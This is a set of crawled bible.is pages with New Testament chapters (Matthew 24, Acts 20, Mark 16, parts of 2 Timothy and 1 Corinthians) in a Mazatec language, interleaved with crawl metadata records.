29'Ti̱jè‑ne na̱chrjein, k'e̱ nga kjoe̱het'aà kjo̱'in koi, jè ts'oí, mì ti̱ kiì si̱ìhiseèn‑ne, ko̱jñò‑né, mì ti̱ kiì ko̱tsjè‑ne ndobá‑la̱. Ti̱koa̱á jè sá, mì ti̱ kiì si̱ìhiseèn‑ne. Ni'ño xi tjín ngajmiì, ki̱xo̱ngui‑né. Jñà nga'ñó xi tjín ngajmiì ki̱ti̱ya yijeé‑la̱. 30I̱kjoàn skoe̱ xi̱ta̱ ján ngajmiì seña‑na̱ xi Ki'ndí‑la̱ Xi̱ta̱ 'mì‑na̱. Ngats'iì na̱xa̱ndá xi tjín i̱ i̱sò'nde, jñà xi̱ta̱ ski̱ndàya‑né nga 'ñó tsakjón. Koa̱ skoe̱‑na xi̱ta̱ xi Ki'ndí‑la̱ Xi̱ta̱ xan‑la̱ yijo‑na̱ nga kji̱nchrobàjñaà i̱jiìn ifi xi tjín ngajmiì; tse nga'ñó ko̱ kjoa̱jeya kjoi̱ikoa̱a. 31Siìkasén àkja̱le̱‑na̱ nga 'ñó si̱ìkjindáya chrjo nga koi̱ìxkóya xi̱ta̱‑na̱ xi 'a̱n xó jaàjiìn‑na nga ñijòn chrja̱ngui̱‑la̱ i̱sò'nde, nga jngoò ìjngoò ngobà‑la̱ i̱sò'nde. 32'Chíta'yàko̱ò jè yá‑la̱ toò iko̱ mé xi okóya‑ná; k'e̱ nga ma kíndíya chrja‑la̱, i̱kjoàn bíjts'én xka̱‑la̱, tíjiìn‑nò nga jye nchrobá machrañà cho̱n ndobá. 33K'oa̱á ti̱s'ín tjín, k'e̱ nga jcha̱a nga k'oa̱s'ín tíma kjoa̱ koi, kàtasijiìn‑nò nga 'a̱n xi Ki'ndí‑la̱ Xi̱ta̱ xan‑la̱ yijo‑na̱ jyeé ni̱to̱n kjoia̱a, k'oa̱á ngaya‑la̱ koni tsà jye tìjna̱ chrañà xotjoa̱‑la̱ ni'ya. 34O̱kixi̱í xi xan‑nò, k'oa̱á s'ín ki̱tasòn yije kjoa̱ koi, k'e̱ nga ti̱kj'eè biyaà xi̱ta̱ xi tjín na̱chrjein i̱'ndei̱. 35Jè ngajmiì ko̱ i̱sò'nde kjoe̱het'aà‑né, ta̱nga jñà 'én‑na̱ mìkiì kjoe̱het'aà; ki̱tasòn‑né. 36'Ta̱nga k'e̱ nga o̱ko̱ma, mì yá xi tíjiìn‑la̱ mé na̱chrjein‑ne ko̱ mé hora‑ne; ni̱ jñà àkja̱le̱ xi tjín ngajmiì, ko̱ ni̱ jè Ki'ndí‑la̱ Nainá tíjiìn‑la̱; ta̱jngoò Nainá xi Na̱'èn‑ná tíjiìn‑la̱. 37'Koni s'ín komà na̱chrjein‑la̱ Noé, k'oa̱á ti̱s'ín ko̱ma k'e̱ nga kjoia̱a ìjngoò k'a 'a̱n xi Ki'ndí‑la̱ Xi̱ta̱ xan‑la̱ yijo‑na̱. 38Jñà na̱chrjein koi, k'e̱ nga ti̱kj'eè 'ba jtsí xkón, jñà xi̱ta̱ xi tjín k'e̱‑ne, nchikjèn, nchi'biì, nchibixan íchjá ko̱ íchjín skanda k'e̱ nga jè na̱chrjein nga jahas'en ni'ya chitso jè Noé. 39Xi̱ta̱ xi tjín koi na̱chrjein, mìkiì tíjiìn‑la̱ mé xi ko̱ma skanda k'e̱ nga j'iì jtsí xkón xi kiìchrjoako̱ nandá ngats'iì xi̱ta̱. K'oa̱á ti̱s'ín ko̱ma k'e̱ nga kjoia̱a ìjngoò k'a 'a̱n xi Ki'ndí‑la̱ Xi̱ta̱ xan‑la̱ yijo‑na̱. 40Jè na̱chrjein k'e̱ nga 'a̱n xi kjoia̱a, jò xi̱ta̱ xi nchisíxá ján i̱jiìn ijñá, jngoò tjámiìtje̱n, xi ìjngoò si̱jna‑né. 41Jò íchjín nchat'aà natsí xi nchi'o na̱'yo̱, jngoò tjámiìtje̱n, xi ìjngoò si̱jna‑né. 42'Titsa̱jnakoòn nga mìkiì 'yaà mé na̱chrjein‑ne ko̱ mé hora‑ne nga kjoia̱a 'a̱n xi Nainá 'mì‑na. 43Kàtasijiìn‑nò, tsà jngoò nei‑la̱ ni'ya si̱jiìn‑la̱ mé hora‑ne k'e̱ nga jñò kjoi̱í xi̱ta̱ chijé nga si̱ìchijé‑la̱, si̱ìkinda̱á ni'ya‑la̱; mìkiì tsjá'nde nga ko̱chijé‑la̱. 44Jñò, ti̱koa̱á titsa̱jnandaà; nga̱ 'a̱n xi Ki'ndí‑la̱ Xi̱ta̱ xan‑la̱ yijo‑na̱, k'e̱é kjoia̱a ìjngoò k'a k'e̱ nga jñò mìkiì titsa̱chiñà. 45'¿Yá‑ne xi chi̱'nda kixi̱ xi tjín‑la̱ kjoa̱chji̱ne̱? Jè nei‑la̱ si̱ìkíjna'nda jñà chi̱'nda‑la̱ xi i'nga xi ya̱ síxá ni'ya‑la̱ mé‑ne nga k'e̱ ki̱jchò chi̱ba̱‑la̱, si̱ìkjèn chi̱'nda xíkjín. 46Mé tà ndaà‑la̱ jè chi̱'nda xi k'oa̱s'ín ndaà tísíkitasòn k'e̱ nga kjoi̱í‑ne nei‑la̱. 47Xi o̱kixi̱í xi xan‑nò, nei‑la̱ chi̱'nda jè, jè si̱ìkíjna'nda yije tsojmì xi tjín‑la̱. 48Ta̱nga tsà jè chi̱'nda ts'e̱n ki̱tso̱ nga ko̱òko̱ ini̱ma̱‑la̱: \"Nei‑na̱, kjìn na̱chrjein ko̱chrjein‑la̱ nga kjoi̱í‑ne.\" 49I̱kjoàn koi̱ìts'ia̱ nga ska̱àn‑ko̱ chi̱'nda xíkjín, koa̱ ko̱kje̱n‑ko̱ ko̱ skoíko̱ xi̱ta̱ ch'i̱. 50Chi̱'nda jè, kjoi̱í‑ne nei‑la̱ jè na̱chrjein ko̱ jè hora k'e̱ nga mìkiì tíkoña‑la̱. 51'Ñó tse kjo̱'in tsjá‑la̱. Tà ngásòn o̱kji kjo̱'in tsjá‑la̱ koni jñà xi̱ta̱ xi jò i̱sén tjín‑la̱. I̱kjoàn ski̱ndàya ko̱ si̱ìjts'iìn ni̱'ño̱.\nCopyrighted Material","id":"","dump":"CC-MAIN-2017-34","url":"http:\/\/www.bible.is\/MAASJV\/Matt\/24","date":"2017-08-18T16:41:19Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-34\/segments\/1502886104704.64\/warc\/CC-MAIN-20170818160227-20170818180227-00115.warc.gz","language":"maa","language_score":1.0000056028,"language_script":"Latn","minhash_cluster_size":6,"top_langs":"{\"maa_Latn_score\": 1.0000056028366089}","num_words":1072,"character_repetition_ratio":0.073,"word_repetition_ratio":0.009,"special_characters_ratio":0.237,"stopwords_ratio":0.281,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1K'e̱ nga jye kisikjoàn‑la̱ kjoa̱siì, Pablo tsibíxkóya yije xi̱ta̱ xi kota'yàt'aà‑la̱ Cristo nga kitsjaà‑la̱ 'én xi ndaà tsò nga kisì'ñójiìn ikon. I̱kjoàn, kisìhixat'aà xíkjín nga kiì ján nangui Macedonia. 2Koni s'ín tsajmeè nga kiì, jahato ngats'iì na̱xa̱ndá nga ndaà kisì'ñójiìn ikon jñà xi̱ta̱‑la̱ Cristo; ijchò skanda Grecia. 3Pablo, jàn sá tsibìjna Grecia. K'e̱ nga jye tíbìjnandaà nga skoé jngoò chitso nga jye tífì ján Siria, kisijiìn‑la̱ nga jñà xi̱ta̱ judío, k'oa̱á s'ín tjíndaà‑la̱ nga mejèn‑la̱ si̱ìk'en; kisìkátji‑ne, ndi̱yá Macedonia kiì ìjngoò k'a‑ne. 4Tsobáhijtako̱ jè Sópater xi Berea i̱'nde‑la̱, ti‑la̱ ma Pirro; jè Aristarco ko̱ Segundo xi Tesalónica i̱'nde‑la̱; Gayo xi Derbe i̱'nde‑la̱; ko̱ Timoteo; ti̱koa̱á ya̱ tji̱ko̱ Tíquico ko̱ Trófimo xi Asia i̱'nde‑la̱. 5Jñà xi̱ta̱ xinguia̱á koi, kiì ítjòn‑né skanda ján Troas. Ya̱á kiskoòñà‑naje̱n. 6K'e̱ nga jye jyehet'aà jñà na̱chrjein‑la̱ s'eí nga bichiaá i̱nchra̱jín xi tsjìn‑la̱ na̱'yo̱ san, tsitsa̱jnaya jngoò‑je̱n chitso ya̱ Filipos; i̱kjoàn tsanguijiìn‑ndá‑je̱n; xi komà 'òn na̱chrjein ijchòtji̱ngui‑la̱je̱n ján Troas; ya̱á tsitsa̱jna jngoò xomàna̱‑je̱n. 7Jè na̱chrjein tahàngo̱ nga tàts'en xomàna̱ chixoña yije‑je̱n nga kinìxkoa̱ya‑je̱n i̱nchra̱jín; jè Pablo 'ñó ndojò kiìko̱ nga tsibéno̱jmíya 'én‑la̱ Cristo. Tíchja̱‑né skanda kó nga ijchò osen ni̱tje̱n, koií kjoa̱‑la̱ nga komà inchijòn jye tífì‑ne. 8Ya̱ cuarto xi kijnasòn‑'nga ts'e̱ ni'ya ñánda titsa̱jna‑je̱n, kjìn lámpara títì. 9Jngoò chíti xi 'mì Eutico tíjnajto ventana‑la̱ ni'ya xi jàn piso tjín‑la̱. Koa̱ jè Pablo nga 'ñó ndojò kiìko̱ 'én xi tsibéno̱jmí, jè chíti kisijnafè nga 'ñó nijñá‑la̱. K'e̱ nga jye 'ñó kjinafè, kiskaàngui skanda i̱t'aà nangui. K'e̱ nga kitjámiìtje̱n, jyeé k'en. 10K'e̱é inchrobàjen Pablo; kitsobàkjá, kitsò: ―Kì tsakjoòn‑jèn, tíjnakon‑né. 11I̱kjoàn kiì mijìn ìjngoò k'a‑ne ya̱ cuarto ñánda títsa̱jna; kisìxkoa̱ya i̱nchra̱jín, koa̱ tsakjèn‑ko̱ xíkjín. Ìjngoò k'a tsibíts'ia̱ nga kiìchja̱ya skanda kis'e‑la̱ i̱sén. I̱kjoàn kiì‑ne. 12Jñà xi̱ta̱ kiìko̱‑ne ni'ya‑la̱ jè chíti; jye tíjnakon‑ne; k'oa̱á tjín kjoa̱ xi ìsa̱ ndaà kjòtsja‑la̱ xi̱ta̱. 13Ngaje̱n, tsanguì ítjòn‑náje̱n, tsitsa̱jnaya‑je̱n chitso skanda ján Asón; ya̱á tsitjaàchjaàjto‑je̱n Pablo; k'oa̱á kitsò nga ndi̱yá ndso̱ko̱ó kiì‑ne. 14K'e̱ nga jye ijchò‑je̱n ján Aso, ya̱á kiskaàkjoò‑je̱n Pablo; tsibìjnayako̱‑naje̱n chitso; tsanguí‑je̱n skanda ján Mitilene. 15Itjo‑je̱n Mitilene. Nga komà inchijòn, tsitjaàjto‑je̱n Quío. Xi ma‑ne jò na̱chrjein ijchò‑je̱n Samos. Ya̱á Trogilio kinìkjáya‑je̱n. Xi komà jàn na̱chrjein ijchò‑je̱n Mileto. 16Jè Pablo, k'oa̱á s'ín kisìkítsjeèn nga tà kjoa̱hato kixi̱í Éfeso; kisìxátíya‑la̱ yijo‑la̱ nga mìkiì tsibìjna Asia; jè xi mejèn‑la̱ nga ìsa̱ ni̱to̱n ki̱jchò Jerusalén tsà koi na̱chrjein‑la̱ ya̱ tíjna k'e̱ nga ki̱tjo s'eí ts'e̱ Pentecostés. 17Pablo, k'e̱ nga tíjna Mileto, kiskinìkjaá jñà xi̱ta̱ jchínga xi tjín‑la̱ xá ya̱ i̱jiìn na̱xa̱ndá‑la̱ Cristo xi títsa̱jna Éfeso. 18K'e̱ nga ijchò jñà xi̱ta̱ jchínga, kitsò‑la̱: ―Jñò, ndaà tíjiìn‑nò kós'ín tìjna̱ko̱‑nò skanda tje̱n‑ne k'e̱ nga j'ia̱a i̱ nangui Asia. 19Nga kjit'aà na̱chrjein, 'ñó indaàkjoa̱ tìsìxá‑la̱ Nainá; mì k'oa̱á kji ndáxkoaàn bìxteèn nga otojñaà kjoa̱ koií kjoa̱‑la̱ koni s'ín síko̱‑na jñà xi̱ta̱ judío nga bíchjoà ikon‑na. 20'A̱n, mìkiì jyò óti̱jna nga beno̱jmíya‑nò ngats'iì kjoa̱ xi mochjeén‑nò xi kjo̱ndaà tsa̱jòn. Beno̱jmíya‑nò ñánda bixoña xi̱ta̱ ko̱ ni'ya‑nò. 21K'oa̱á s'ín beno̱jmíya yije‑la̱, ngats'iì xi̱ta̱ judío ko̱ xi mìtsà xi̱ta̱ judío nga kàtasíkájno jé‑la̱ nga mì ti̱ jé ko̱hótsji‑ne, Nainá kàtjít'aà‑la̱ ko̱ kàtakjeiín‑la̱ i̱t'aà ts'e̱ Na̱'èn‑ná Jesucristo. 22I̱'ndei̱, ján tìfia Jerusalén; tsejèn ma‑na nga jè kjo̱'ñó tífìko̱‑na Ini̱ma̱ Tsjeè‑la̱ Nainá. Mìkiì tíjiìn‑na mé kjoa̱ xi ko̱mat'ian; 23ta jè‑né nga kjijndà na̱xa̱ndá ñánda bijchoa, jè Ini̱ma̱ Tsjeè‑la̱ Nainá, k'oa̱á s'ín béno̱jmíya‑na, k'e̱ nga kìjchoa Jerusalén, nda̱yá kóti̱jna, tse kjo̱'in siìkjiaán. 24Kjoa̱ ts'e̱ kjo̱'in, mìkiì makájno‑na na̱s'ín si̱ìk'en‑na xi̱ta̱. Jè xi mejèn‑na nga ndaà sìkitasoàn. Ndaà sikjehet'aà xá xi kitsjaà‑na Na̱'èn‑ná Jesucristo nga sika'biá 'én ndaà‑la̱ i̱t'aà ts'e̱ kjo̱ndaà xi tsjá Nainá. 25'I̱'ndei̱, k'oa̱á xan kixi̱‑nò ngats'ioò jñò xi kiyaxkon‑ná nga tsibeno̱jmí‑nò kjo̱tíxoma‑la̱ Nainá, mì ti̱ kiì jcha̱xkon‑ná. 26I̱'ndei̱, k'oa̱á xan‑nò, tsà mìkiì mokjeiín‑nò i̱t'aà ts'e̱ Jesús, mìtsà 'a̱n tjín‑na jé tsà kjo̱'in s'e̱‑nò. 27Nga 'a̱n, jyeé tsibeno̱jmí yije‑nò kó s'ín tjín kjoa̱ xi tjíndaà‑la̱ Nainá; ni̱mé xi tsibì'ma‑nò. 28Jñò, ti̱kinda̱a yijo‑nò, ti̱koa̱ ti̱kinda̱a na̱xa̱ndá‑la̱ Cristo xi jè kisìkijne nga ko̱ jní‑la̱. K'oa̱á s'ín ti̱kinda̱a koni jngoò paxtò ts'e̱ orrè nga jè xá kitsjaà‑nò Ini̱ma̱ Tsjeè‑la̱ Nainá. 29'A̱n, be‑ná, k'e̱ nga ko̱ma i̱skan, nga jye kjián, kjoa̱has'en‑jiìn‑nò xi̱ta̱ xi kj'ei̱í koni tse̱jén ts'e̱n xi mejèn‑la̱ si̱ìkje xi̱ta̱ na̱xa̱ndá‑la̱ Cristo. 30Ti̱koa̱ ki̱tjokàjiín xi ti̱ xi̱ta̱ tsa̱jòn‑nò xi kj'ei̱í kjo̱tíxoma ko̱kòya xi mìtsà kixi̱ kjoa̱; kji̱ko̱ xi̱ta̱ xi kota'yàt'aà‑la̱ Cristo nga skóna̱cha̱n‑la̱. 31Ti̱tsa̱jnakon; ti̱kítsjeèn, 'a̱n, jàn nó tsohóti̱jnako̱‑nò ko̱ na̱chrjein ko̱ ni̱tje̱n bìxteèn ndáxkoaàn nga tsibeno̱jmíya‑nò kós'ín si̱jchá yijo‑nò. 32'I̱'ndei̱, ndí 'ndsè, ngats'ioò, tsja Nainá sìkítsa̱jnaya‑nò. Ti̱koa̱ sìkítsa̱jnajiìn‑nò 'én‑la̱ Nainá i̱t'aà ts'e̱ kjo̱tsjacha xi tjín‑la̱, jè 'én xi ko̱ma tsjá‑la̱ nga'ñó ini̱ma̱‑nò. I̱t'aà ts'e̱ 'én koi tjoé‑nò kjo̱tjò ján ngajmiì k'e̱ nga tjoé yije‑la̱ xi̱ta̱ tsjeè‑la̱ Nainá. 33'A̱n, ni̱mé xi jaàjiìn‑na, ni̱ to̱n, ni̱ nikje xi ts'e̱ xi̱ta̱. 34Jñò, ndaà tíjiìn‑nò nga ndsa̱a kisìxá‑na nga kisìkijne ngats'iì tsojmì xi kinìchjeén‑je̱n ko̱ xi̱ta̱ xi títsa̱jnako̱‑na. 35K'oa̱á s'ín tsakoòya‑nò, mochjeén‑né nga si̱xá mé‑ne nga si̱chját'aà‑lá jñà xi̱ta̱ xi 'in títsa̱jna; ti̱kítsjeèn 'én‑la̱ Na̱'èn‑ná Jesucristo xi tsò: \"Ìsa̱á ndaà machikon‑t'in jñà xi̱ta̱ xi tsjá mì k'oa̱à‑ne jñà xi̱ta̱ xi tjoé‑la̱.\" 36K'e̱ nga jye o̱kitsò, i̱kjoàn tsasìjna-xkó'nchi Pablo, kiìchja̱t'aà‑la̱ Nainá kóho̱tjín xi̱ta̱. 37Ngats'iì kiskindàya, kitsobàkjá ko̱ kiskine'a Pablo. 38Jñà xi̱ta̱, tsí 'on komà‑la̱ jè 'én xi kitsò Pablo nga mì ti̱ kiì skoe̱xkon‑ne xíkjín. Kiì kinì indiaà skanda ñánda kijna chitso.\nCopyrighted Material","id":"","dump":"CC-MAIN-2017-34","url":"http:\/\/www.bible.is\/MAASJV\/Acts\/20","date":"2017-08-23T18:05:56Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-34\/segments\/1502886123312.44\/warc\/CC-MAIN-20170823171414-20170823191414-00050.warc.gz","language":"maa","language_score":1.0000021458,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"maa_Latn_score\": 1.000002145767212}","num_words":840,"character_repetition_ratio":0.053,"word_repetition_ratio":0.0,"special_characters_ratio":0.221,"stopwords_ratio":0.245,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"12Tseé kjo̱'in tìsìkjiaán tà jè nga̱tjì‑la̱ 'én xi 'a̱n chjàya. Ta̱nga mìkiì masobà‑na. Jyeé tíjiìn‑na nga i̱t'aà ts'e̱ Cristo mokjeiín‑na. Ti̱koa̱á ndaà tíjiìn‑na nga ta̱ jngoò jè Nainá xi tjín‑la̱ nga'ñó. Ndaà si̱ìkinda̱ jè xá xi 'a̱n kisìnga̱tsja‑na skanda jè na̱chrjein k'e̱ nga kjoi̱í ìjngoò k'a‑ne Jesucristo.\n2 Timoteo 1:12\nFREE!\nOne App.\n1253 Languages.","id":"","dump":"CC-MAIN-2017-34","url":"http:\/\/www.bible.is\/MAASJV\/2Tim\/1\/12","date":"2017-08-22T15:24:25Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-34\/segments\/1502886110792.29\/warc\/CC-MAIN-20170822143101-20170822163101-00334.warc.gz","language":"maa","language_score":0.9999986887,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"maa_Latn_score\": 0.9999986886978149}","num_words":52,"character_repetition_ratio":0.034,"word_repetition_ratio":0.0,"special_characters_ratio":0.249,"stopwords_ratio":0.212,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1'Kia̱ nga ijyehe'tà jè xòhoto̱ nga ni̱chjin níkjáya, María Magdalena, ko̱ Salomé, ko̱ María na̱‑la̱ Jacobo, tsatseé sihìti̱ ra nda jne̱ nga mejèn‑la̱ i̱kíxten‑jnó ijo‑la̱ Jesús. 2Jè ni̱chjin 'kia̱ nga bí'tsia̱ xomàna̱, 'ñó ta̱jñòya kijì; ko̱ ijyeé tíbitjo kátji tsá'bí nga ijchò katsíjen‑la̱ nga̱jo̱‑la̱ chrjó mi'ken ñánda̱ isìhijin Jesús. 3Tsó‑la̱ xákjién nga i̱nchifì: ―¿Yá ra kjoa̱áxìn‑ná na̱jo̱ ra tjíchjàjto ya̱ xo̱tjo̱ba̱ nga̱jo̱‑la̱ chrjó mi'ken? 4Tanga 'kia̱ nga ijchò, iskotsíjeén‑la̱, kijtse‑ní nga jè na̱jo̱ ra 'ñó je 'kioo̱ ra tjíchjàjto‑ila̱ nga̱jo̱‑la̱ mi'ken ñánda̱ isijna ijo‑la̱ Jesús, ijyeé itjahíxìn. 5'Kia̱ nga 'jaha'sen‑ngi ya̱ nga̱jo̱ chrjó mi'ken, kijtseé jngo xi̱ta̱ i̱xti ra tíjnajté jngo nikje chraba ra ndajò 'ki. Tíjna ya̱ nga kixi̱‑la̱ nga̱jo̱. Jñà íchjín kìi̱, tà itsakjón‑ní. 6Tanga jè xi̱ta̱ i̱xti ra̱kìi̱ kitsó‑la̱: ―Kì tà chjàn skon jiòn. Be‑ná nga jé i̱nchifatsjio jè Jesús ra Nazaret i̱'nde‑la̱ ra ya̱ isi'ta krò. Ijyeé kàfaháyaá‑ila̱. Mì ti̱ i̱ tíjna‑ni. Chítsijen‑la i̱'nde‑la̱ ñánda̱ kisìjna. 7Tangió ko̱'tìn‑la jè Pedro ko̱ jñà xi̱ta̱ ra i'ka ra kotá'yá'ta‑la̱ Jesús, nga jè Jesús, jé tíjna ítjòn‑no nga tífì ya̱ Galilea. Ya̱á jcha̱xkon india‑no koni 'sín kitsò‑no. 8Jñà íchjín kìi̱, ndi̱to̱ón itjo‑ni ya̱ a̱ngi nga̱jo̱. Tsahachikon, nga kijì‑ni. Chi̱ba̱‑la̱ i̱nchifatsé‑ní nga i̱nchitsakjón. Ni̱yá ra tsi'kéna̱jmí‑la̱ tà nga̱tjì‑la̱ 'ñó tsikíxkón‑la̱ ijo‑la̱. [ 9'Kia̱ nga ijye jaáya‑ila̱ Jesús 'kia̱ nga ta̱jñòya jè ni̱chjin nga ma'tsia̱‑ni xomàna̱, jé kijtse ítjòn María Magdalena, jè ra ito inìma̱ 'cho‑la̱ ni̱í tsachrjekàjin inìma̱‑la̱. 10María Magdalena kijì‑ní, nga kiì síkjí'nchré nga'tsì xi̱ta̱‑la̱ Jesús jñà ra ba tjín‑la̱ ko̱ i̱nchikjindáya. 11Jñà xi̱ta̱‑la̱, 'kia̱ nga kií'nchré nga tíjnakon Jesús ko̱ nga jè chjo̱ón ra̱kìi̱ kijtse, mì kì kjokjiín‑la̱. 12Ra kjomà a̱skan, Jesús tsakón‑la̱ ijo‑la̱ jò xi̱ta̱‑la̱ ra i̱nchifì a̱jin ijñáa̱, tanga kj'ií 'sín 'ki. 13Jñà xi̱ta̱ ra jò ma, 'kia̱ nga kijtse, tsáfaá‑ni nga kiì síkjí'nchré jñà xi̱ta̱‑la̱ ra i'ka. Tanga ti̱'koa̱á mì kì kjokjiín‑la̱ jñà xi̱ta̱ kìi̱. 14Ra ijyehe'tà‑ni kjoa̱, Jesús tsakón‑la̱ ijo‑la̱ jñà xi̱ta̱‑la̱ ra tejngo ma‑ni 'kia̱ nga títsa̱jna'ta ímixa̱ nga i̱nchibakjèn. Tsakátiko̱‑ní tà nga̱tjì‑la̱ nga tája tjín inìma̱‑la̱ nga mì ndi̱to̱n kjokjiín‑la̱ 'kia̱ nga tsi'kéna̱jmí‑la̱ jñà xi̱ta̱ ra tsakón ítjòn‑la̱ ijo‑la̱ 'kia̱ nga ijye jaáya‑ila̱. 15Ko̱ a̱kjòn kitsò‑la̱: ―Tangió nga tjíjtsa i̱sà'nde. 'Tèna̱jmí ijye‑la nga'tsì xi̱ta̱ jè 'én xi̱tse̱ ra nda tsò ra a̱'ta tsa̱'a̱n. 16Jñà xi̱ta̱ ra ko̱kjiín‑la̱ ra a̱'ta tsa̱'a̱n ti̱'koa̱ ra sa̱tíndá, ki̱tjokajiín kjo̱hi'in. Tanga jñà ra mì kì ko̱kjiín‑la̱, kjo̱hi'iín ska̱nè‑la̱. 17Jñà ra ko̱kjiín‑la̱ a̱'ta tsa̱'a̱n, 'koa̱á 'sín jcha̱‑la̱ nga ko̱maá‑la̱ ko̱chrjekàjin inìma̱ 'cho‑la̱ ni̱í ra tjíjin inìma̱‑la̱ xi̱ta̱; ti̱'koa̱á ko̱maá‑la̱ ki̱chja̱ 'én xi̱tse̱ ra kj'ií 'sín tsò, ra mì tsa xá iskotá'yá‑ni; 18ni̱'sín ye̱ jtsa̱ba̱, ko̱ ni̱'sín xki kjàn ra sí'ken‑ná ski̱ne̱, ni̱mé ra ka̱ma‑la̱; koa̱àsòn‑la̱ tsja xi̱ta̱ ra kiya, ko̱ jñà xi̱ta̱ ko̱ndaá‑ni. 19'Kia̱ nga ijye ko̱kitsò‑la̱ xi̱ta̱‑la̱, jè Na̱'ín‑ná Jesús, itjamí'nga‑ní nga kijì ján ngajmi; tsikijna'ta ya̱ ngakixi̱‑la̱ Nainá. 20Jñà xi̱ta̱‑la̱ kijí‑ní nga isìka'bí 'én nda‑la̱ Nainá nga tíjngo na̱xi̱ndá; ko̱ jè Na̱'ín‑ná Jesús ndaá tsasìko̱ ti̱'koa̱á ndaá tsakón tsijen nga jè 'én‑la̱ 'én kixi̱‑ní 'kia̱ nga kijcha‑la̱ kjo̱xkón ra tsakón xi̱ta̱‑la̱. Ko̱'sín katama.]\nCopyrighted Material","id":"","dump":"CC-MAIN-2017-34","url":"http:\/\/www.bible.is\/MAASAV\/Mark\/16","date":"2017-08-22T13:33:56Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-34\/segments\/1502886110774.86\/warc\/CC-MAIN-20170822123737-20170822143737-00022.warc.gz","language":"maa","language_score":1.0000092983,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"maa_Latn_score\": 1.000009298324585}","num_words":488,"character_repetition_ratio":0.064,"word_repetition_ratio":0.0,"special_characters_ratio":0.228,"stopwords_ratio":0.316,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1'Koa̱á 'sín jcha̱takòn‑náji̱n koni tsa tà xi̱ta̱ chi̱'nda ra síxá‑la̱ Cristo, nga̱ ngaji̱ín kjonga̱tsja‑ji̱n nga 'kéna̱jmí‑ji̱n kó'sín tjín kjoa̱ ra tjí'ma ra a̱'ta 'tse̱ Nainá. 2Tanga jñà xi̱ta̱ ra ko̱'sín bako̱‑la̱ nga manga̱tsja jngo xá, machjeén‑ní nga ko̱'sín kata'ya‑la̱ nga xi̱ta̱ kixi̱‑ní. 3Mì tsa jè síkájno jiàa̱n, tsa kó'sín bixó jiòn ra a̱'ta tsa̱'a̱n, a ndaá tí'siaa̱n o̱ ra 'choó tí'siaa̱n, ko̱ kó'sín tsò jñà xi̱ta̱xá ra ma‑la̱ bíndajín‑la̱ xi̱ta̱ i̱sà'nde, ko̱ skanda mí tsa ti̱ ijo‑na̱ kotsíjen‑jnó‑na nga bindájín‑la̱ mé kjoa̱ ra 'siaa̱n. 4Ni̱'sín ko̱'sín tsò‑na kjo̱bítsjen‑na̱ nga mí tsa mé jé tjín‑na, mì tsa tsò‑ni kjoa̱ nga xi̱ta̱ kixi̱‑ná ra 'a̱n; nga̱ jé saba Na̱'ín‑ná ra bíndajín‑na ra 'a̱n. 5'Koa̱á ma‑ni, kì tà chjàn jiòn tje̱n chibàya‑no kó'sín i̱nchisíxá nga jngó jngó xi̱ta̱; jchíñakjoa̱‑la skanda 'kia̱ nga kj'i̱í india‑ni jè Na̱'ín‑ná, nga̱ jé ra nda si̱ìkatsíjen nga'tsì mé kjoa̱ ra títsa̱jnajin jñà xi̱ta̱ ya̱ ñánda̱ nga jñò chon, ko̱ jè nda si̱ìkatsíjen kó'sín tjín kjoa̱ ra tjíjin ya̱ inìma̱‑la̱; a̱kjòn 'kia̱á jè Nainá 'nga si̱ìkíhijyo nga jngó jngó xi̱ta̱ koni 'sín nga bakèn‑la̱. 6Jiòn ndí 'ndsé ko̱ ndí tichjeé, 'koa̱á 'sín tsikijná jngo‑no xkósòn ra kjo̱nda tsa̱jiòn 'kia̱ nga kíchjà‑no a̱'ta 'tse̱ Apolos ko̱ ra a̱'ta tsa̱'a̱n, mé‑ni nga mì kì tsa ko̱tonè‑la koni 'sín nga tíchja̱ xa̱jo̱n ra tjí'ta 'én‑la̱ Nainá. Kì ko̱'sín jngo chi̱'nda‑la̱ Nainá isa̱ nda nachrjengio koni ra ìjngo. 7¿Yá ra nachrjengio jiòn ijo‑no? ¿A 'koa̱á 'sín níkítsjen jiòn nga batoó 'ñó 'ya jiòn? ¿Mé ra tjín‑najiòn ra tà nga'ñó tsa̱jiòn? ¿A mí tsa Nainá kitsjà‑no nga'tsì kjoa̱ ra ma‑no? Tsa a̱'ta 'tse̱ Nainá itjábé‑nájiòn, ¿mé‑ni ko̱'sín 'nga mahíko̱‑no takòn koni tsa ta nga'ñó tsa̱jiòn‑no nga ma isakò‑najiòn nga'tsì ra tjín‑no? 8Mé ta̱ nda‑ni nga nda titsa̱hijyo. Ijyeé isakò‑no kjoa̱nchi̱ná ra a̱'ta 'tse̱ Nainá, ko̱ ijyeé 'ñó ski tjín inìma̱‑no, ijyeé mì ti̱ mé ra chija‑no ra a̱'ta 'tse̱ Nainá, skanda ijyeé jiòn i̱nchibatexoma ítjòn, skanda kjeé batexoma‑naji̱n ra ji̱n. Mé ta̱ nda‑ni nga ijye ko̱'sín i̱nchibatexoma. Ya̱á‑la ko̱te̱xomakjoko̱‑laji̱n. 9'Koa̱á 'sín ma‑na ra 'a̱n, ji̱n ra tsikíxáya‑naji̱n Jesucristo, ji̱ín i̱nchisíkjehe'ta‑naji̱n Nainá, 'koa̱á 'sín kjòn‑ji̱n koni xi̱ta̱ ra ijye tjínè‑la̱ nga ki̱yá. Nga'tsì kjoa̱ ra i̱nchima'tin‑ji̱n i̱ i̱sà'nde, 'koa̱á 'sín ta 'cho i̱nchikotsíjen‑jnó‑naji̱n jñà xi̱ta̱ ko̱ jñà ìkja̱li̱. 10'Koa̱á 'sín 'yatákon‑naji̱n ra ji̱n koni tsa ni̱mé machi̱ya‑naji̱n, ta nga̱tjì‑la̱ ra a̱'ta 